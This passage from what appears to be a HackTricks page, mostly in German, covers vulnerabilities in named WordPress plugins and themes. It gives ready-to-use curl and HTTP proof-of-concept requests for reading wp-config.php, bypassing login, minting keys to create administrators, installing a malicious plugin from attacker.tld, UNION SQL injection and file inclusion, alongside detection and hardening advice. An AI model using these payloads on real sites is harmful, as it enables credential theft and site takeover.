curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'
Der Server antwortet mit dem Inhalt von wp-config.php, leaking DB credentials and auth keys.
Nicht authentifizierte Kontoübernahme über Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)
Viele Themes/Plugins liefern “social login”-Hilfsfunktionen, die via admin-ajax.php exponiert sind. Wenn eine nicht authentifizierte AJAX-Aktion (wp_ajax_nopriv_...) client-seitig gelieferte Identifier vertraut, wenn Provider-Daten fehlen, und dann wp_set_auth_cookie() aufruft, wird das zu einem full authentication bypass.
Typisches fehlerhaftes Muster (vereinfacht)
public function check_login() {
// ... request parsing ...
switch ($_POST['using']) {
case 'fb': /* set $user_email from verified Facebook token */ break;
case 'google': /* set $user_email from verified Google token */ break;
// other providers ...
default: /* unsupported/missing provider – execution continues */ break;
}
// FALLBACK: trust POSTed "id" as email if provider data missing
$user_email = !empty($user_email)
? $user_email
: (!empty($_POST['id']) ? esc_attr($_POST['id']) : '');
if (empty($user_email)) {
wp_send_json(['status' => 'not_user']);
}
$user = get_user_by('email', $user_email);
if ($user) {
wp_set_auth_cookie($user->ID, true); // 🔥 logs requester in as that user
wp_send_json(['status' => 'success', 'message' => 'Login successfully.']);
}
wp_send_json(['status' => 'not_user']);
}
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);
Warum es ausnutzbar ist
- Nicht authentifiziert erreichbar über admin-ajax.php (wp_ajax_nopriv_… action).
- Keine nonce-/capability-Checks vor einer Zustandsänderung.
- Fehlende OAuth/OpenID-Provider-Verifizierung; der default-Branch akzeptiert Eingaben des Angreifers.
- get_user_by(‘email’, $_POST[‘id’]) gefolgt von wp_set_auth_cookie($uid) authentifiziert den Anfragenden als jede existierende E-Mail-Adresse.
Ausnutzung (nicht authentifiziert)
- Voraussetzungen: Der Angreifer kann /wp-admin/admin-ajax.php erreichen und kennt/errät eine gültige Benutzer-E-Mail.
- Setze provider auf einen nicht unterstützten Wert (oder lasse ihn weg), um den default-Branch zu treffen und id=<victim_email> zu übergeben.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Content-Type: application/x-www-form-urlencoded
action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"
Expected success indicators
- HTTP 200 mit JSON-Body wie {“status”:“success”,“message”:“Login successfully.”}.
- Set-Cookie: wordpress_logged_in_* für den betroffenen Nutzer; nachfolgende Requests sind authentifiziert.
Finding the action name
- Inspect the theme/plugin for add_action(‘wp_ajax_nopriv_…’, ‘…’) registrations in social login code (e.g., framework/add-ons/social-login/class-social-login.php).
- Grep for wp_set_auth_cookie(), get_user_by(‘email’, …) inside AJAX handlers.
Detection checklist
- Web Logs, die unauthenticated POSTs zu /wp-admin/admin-ajax.php mit der social-login action und id=
zeigen. - 200-Antworten mit dem success-JSON unmittelbar vor authentifiziertem Traffic von derselben IP/User-Agent.
Hardening
- Identität nicht aus Client-Input ableiten. Nur Emails/IDs akzeptieren, die aus einem validierten Provider-Token/ID stammen.
- CSRF nonces und capability checks auch für Login-Helfer verlangen; wp_ajax_nopriv_ nur registrieren, wenn es wirklich nötig ist.
- OAuth/OIDC-Antworten serverseitig validieren und verifizieren; fehlende/ungültige Provider ablehnen (kein Fallback auf POST id).
- In Erwägung ziehen, social login vorübergehend zu deaktivieren oder virtuell am Edge zu patchen (die verwundbare action blocken), bis ein Fix vorhanden ist.
Patched behaviour (Jobmonster 4.8.0)
- Removed the insecure fallback from $_POST[‘id’]; $user_email must originate from verified provider branches in switch($_POST[‘using’]).
Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82)
Einige Plugins stellen REST-Endpunkte bereit, die wiederverwendbare “connection keys” oder Tokens erzeugen, ohne die Fähigkeiten des Aufrufers zu prüfen. Wenn die Route nur anhand eines vorhersehbaren Attributs (z. B. username) authentifiziert und der Key nicht an einen User/Session mit capability checks gebunden wird, kann jeder unauthentifizierte Angreifer einen Key minten und privilegierte Aktionen auslösen (Erstellung eines Admin-Accounts, Plugin-Aktionen → RCE).
- Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
- Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback
- Impact: vollständige Übernahme durch Verkettung des geminteten Keys mit internen privilegierten Aktionen
PoC – Einen connection key minten und verwenden
# 1) Obtain key (unauthenticated). Exact payload varies per plugin
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
-H 'Content-Type: application/json' \
--data '{"username":"admin"}'
# → {"key":"<conn_key>", ...}
# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin)
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
-H 'Content-Type: application/json' \
-H 'X-Connection-Key: <conn_key>' \
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'
Warum es ausnutzbar ist
- Empfindliche REST-Route nur durch einen Identitätsnachweis mit geringer Entropie (username) oder fehlende permission_callback geschützt
- Keine Capability-Prüfung; erzeugter Schlüssel wird als universeller Bypass akzeptiert
Erkennungs-Checkliste
- Grep im Plugin-Code nach register_rest_route(…, [ ‘permission_callback’ => ‘__return_true’ ])
- Jede Route, die Tokens/Keys basierend auf einer vom Request gelieferten Identität (username/email) ausstellt, ohne sie an einen authentifizierten Benutzer oder eine Capability zu binden
- Suche nach nachfolgenden Routen, die den erzeugten Token/Key ohne serverseitige Capability-Prüfungen akzeptieren
Härtung
- Für jede privilegierte REST-Route: Erfordere permission_callback, das current_user_can() für die erforderliche Capability erzwingt
- Erzeuge keine langlebigen Keys aus client-gelieferter Identität; falls nötig, stelle nach Authentifizierung kurzlebige, an den Benutzer gebundene Tokens aus und überprüfe bei Verwendung erneut die Capabilities
- Validiere den User-Kontext des Aufrufers (wp_set_current_user ist allein nicht ausreichend) und lehne Requests ab, bei denen !is_user_logged_in() || !current_user_can(
)
Nonce gate misuse → unauthenticated arbitrary plugin installation (FunnelKit Automations ≤ 3.5.3)
Nonces verhindern CSRF, nicht die Autorisierung. Wenn Code ein erfolgreiches Nonce als Freigabe interpretiert und dann Capability-Prüfungen für privilegierte Operationen (z. B. install/activate plugins) überspringt, können nicht authentifizierte Angreifer eine schwache Nonce-Anforderung erfüllen und RCE erreichen, indem sie ein mit Hintertür versehenes oder verwundbares Plugin installieren.
- Verwundbarer Pfad: plugin/install_and_activate
- Fehler: schwache Nonce-Hash-Prüfung; keine current_user_can(‘install_plugins’|‘activate_plugins’) sobald Nonce “passes”
- Auswirkung: vollständige Kompromittierung durch beliebige Plugin-Installation/Aktivierung
PoC (Form hängt vom Plugin ab; nur illustrativ)
curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
-H 'Content-Type: application/json' \
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'
Erkennungs-Checkliste
- REST-/AJAX-Handler, die Plugins/Themes verändern und nur wp_verify_nonce()/check_admin_referer() verwenden und keine Capability-Prüfung durchführen
- Jeder Codepfad, der $skip_caps = true nach der Nonce-Validierung setzt
Härtung
- Behandle Nonces immer nur als CSRF-Token; erzwinge Capability-Prüfungen unabhängig vom Nonce-Status
- Fordere current_user_can(‘install_plugins’) und current_user_can(‘activate_plugins’), bevor Installer-Code erreicht wird
- Weise nicht authentifizierten Zugriff ab; vermeide das Exponieren von nopriv AJAX-Aktionen für privilegierte Abläufe
Subscriber+ AJAX-Plugin-Installer → erzwungene bösartige Aktivierung (Motors Theme ≤ 5.6.81)
Patchstack’s analysis zeigte, wie das Motors Theme einen authentifizierten AJAX-Helper zum Installieren seines Begleit-Plugins ausliefert:
add_action('wp_ajax_mvl_theme_install_base', 'mvl_theme_install_base');
function mvl_theme_install_base() {
check_ajax_referer('mvl_theme_install_base', 'nonce');
$plugin_url = sanitize_text_field($_GET['plugin']);
$plugin_slug = 'motors-car-dealership-classified-listings';
$upgrader = new Plugin_Upgrader(new Motors_Theme_Plugin_Upgrader_Skin(['plugin' => $plugin_slug]));
$upgrader->install($plugin_url);
mvl_theme_activate_plugin($plugin_slug);
}
- Es wird nur
check_ajax_referer()aufgerufen; es gibt keincurrent_user_can('install_plugins')odercurrent_user_can('activate_plugins'). - Der Nonce ist in der Motors Admin-Seite eingebettet, sodass jeder Subscriber, der
/wp-admin/öffnen kann, ihn aus dem HTML/JS kopieren kann. - Der Handler vertraut dem vom Angreifer kontrollierten
plugin-Parameter (aus$_GET) und übergibt ihn anPlugin_Upgrader::install(), sodass eine beliebige entfernte ZIP nachwp-content/plugins/heruntergeladen wird. - Nach der Installation ruft das Theme bedingungslos
mvl_theme_activate_plugin()auf, was die Ausführung des PHP-Codes des Angreifer-Plugins garantiert.
Ablauf der Ausnutzung
- Registriere/kompromittiere ein niedrig privilegiertes Konto (Subscriber reicht) und lese den
mvl_theme_install_basenonce aus der Motors-Dashboard-UI aus. - Erstelle ein Plugin-ZIP, dessen oberstes Verzeichnis dem erwarteten Slug
motors-car-dealership-classified-listings/entspricht, und bette eine backdoor oder webshell in die*.phpEntrypoints ein. - Hoste das ZIP und löse den Installer aus, indem du den Handler auf deine URL zeigst:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Cookie: wordpress_logged_in_=...
Content-Type: application/x-www-form-urlencoded
action=mvl_theme_install_base&nonce=<leaked_nonce>&plugin=https%3A%2F%2Fattacker.tld%2Fmotors-car-dealership-classified-listings.zip
Da der Handler $_GET['plugin'] liest, kann dieselbe payload auch über die Query-String gesendet werden.
Erkennungs-Checkliste
- Durchsuche themes/plugins nach
Plugin_Upgrader,Theme_Upgraderoder benutzerdefinierteninstall_plugin.php-Hilfsfunktionen, die anwp_ajax_*-Hooks ohne capability checks angebunden sind. - Untersuche jeden Handler, der einen
plugin,package,sourceoderurlParameter entgegennimmt und in Upgrader-APIs einspeist, besonders wenn der slug hard-coded ist, aber der ZIP-Inhalt nicht validiert wird. - Überprüfe Admin-Seiten, die nonces für Installer-Aktionen offenlegen — wenn Subscribers die Seite laden können, gehe davon aus, dass die nonce leak.
Härtung
- Schütze Installer-AJAX-Callbacks mit
current_user_can('install_plugins')undcurrent_user_can('activate_plugins')nach nonce-Verifizierung; Motors 5.6.82 hat diese Prüfung eingeführt, um den Bug zu beheben. - Verweigere nicht vertrauenswürdige URLs: beschränke Installer auf mitgelieferte ZIPs oder vertrauenswürdige Repositories, oder erzwinge signierte Download-Manifeste.
- Behandle nonces strikt als CSRF tokens; sie gewähren keine Autorisierung und sollten niemals capability checks ersetzen.
Unauthenticated SQLi via s search parameter in depicter-* actions (Depicter Slider ≤ 3.6.1)
Mehrere depicter-* Aktionen haben den s (search)-Parameter verarbeitet und ihn ohne Parametrisierung in SQL-Abfragen verkettet.
- Parameter: s (search)
- Fehler: direkte String-Konkatenation in WHERE/LIKE-Klauseln; keine prepared statements/sanitization
- Auswirkung: Datenbank-Exfiltration (users, hashes), laterale Bewegung
PoC
# Replace action with the affected depicter-* handler on the target
curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
--data-urlencode 'action=depicter_search' \
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"
Detection checklist
- Grep nach depicter-* action handlers und direkter Verwendung von $_GET[‘s’] oder $_POST[‘s’] in SQL
- Überprüfe benutzerdefinierte Queries, die an $wpdb->get_results()/query() übergeben werden und s verketteten
Hardening
- Verwende immer $wpdb->prepare() oder wpdb-Platzhalter; unerwartete Metazeichen serverseitig ablehnen
- Füge eine strikte allowlist für s hinzu und normalisiere auf erwarteten Zeichensatz/Länge
Nicht authentifizierte Local File Inclusion über einen nicht validierten Template-/Dateipfad (Kubio AI Page Builder ≤ 2.5.1)
Das Akzeptieren von vom Angreifer kontrollierten Pfaden in einem Template-Parameter ohne Normalisierung/Containment ermöglicht das Lesen beliebiger lokaler Dateien und manchmal Codeausführung, wenn einbindbare PHP-/Log-Dateien zur Laufzeit eingebunden werden.
- Parameter: __kubio-site-edit-iframe-classic-template
- Flaw: keine Normalisierung/allowlisting; traversal erlaubt
- Impact: Offenlegung von Geheimnissen (wp-config.php), potenzielles RCE in bestimmten Umgebungen (log poisoning, einbindbare PHP-Dateien)
PoC – wp-config.php lesen
curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"
Erkennungs-Checkliste
- Jeder Handler, der Request-Pfade in include()/require()/read-Sinks verkettet, ohne realpath() zur Begrenzung zu verwenden
- Auf Traversal-Muster (../) achten, die außerhalb des vorgesehenen templates-Verzeichnisses gelangen
Härtung
- Erzwinge allowlisted Templates; mit realpath() auflösen und require str_starts_with(realpath(file), realpath(allowed_base))
- Eingaben normalisieren; Traversal-Sequenzen und absolute Pfade ablehnen; sanitize_file_name() nur für Dateinamen verwenden (nicht für volle Pfade)
Referenzen
- Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme
- Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin
- Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites
- ASE 7.6.3 changeset – delete original roles on profile update
- Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses
- WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)
- Hackers exploiting critical WordPress WooCommerce Payments bug
- Unpatched Privilege Escalation in Service Finder Bookings Plugin
- Service Finder Bookings privilege escalation – Patchstack DB entry
- Unauthenticated Broken Authentication Vulnerability in WordPress Jobmonster Theme
- Q3 2025’s most exploited WordPress vulnerabilities and how RapidMitigate blocked them
- OttoKit (SureTriggers) ≤ 1.0.82 – Privilege Escalation (Patchstack DB)
- FunnelKit Automations ≤ 3.5.3 – Unauthenticated arbitrary plugin installation (Patchstack DB)
- Depicter Slider ≤ 3.6.1 – Unauthenticated SQLi via s parameter (Patchstack DB)
- Kubio AI Page Builder ≤ 2.5.1 – Unauthenticated LFI (Patchstack DB)
- Critical Arbitrary File Upload Vulnerability in Motors Theme Affecting 20k+ Sites
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.


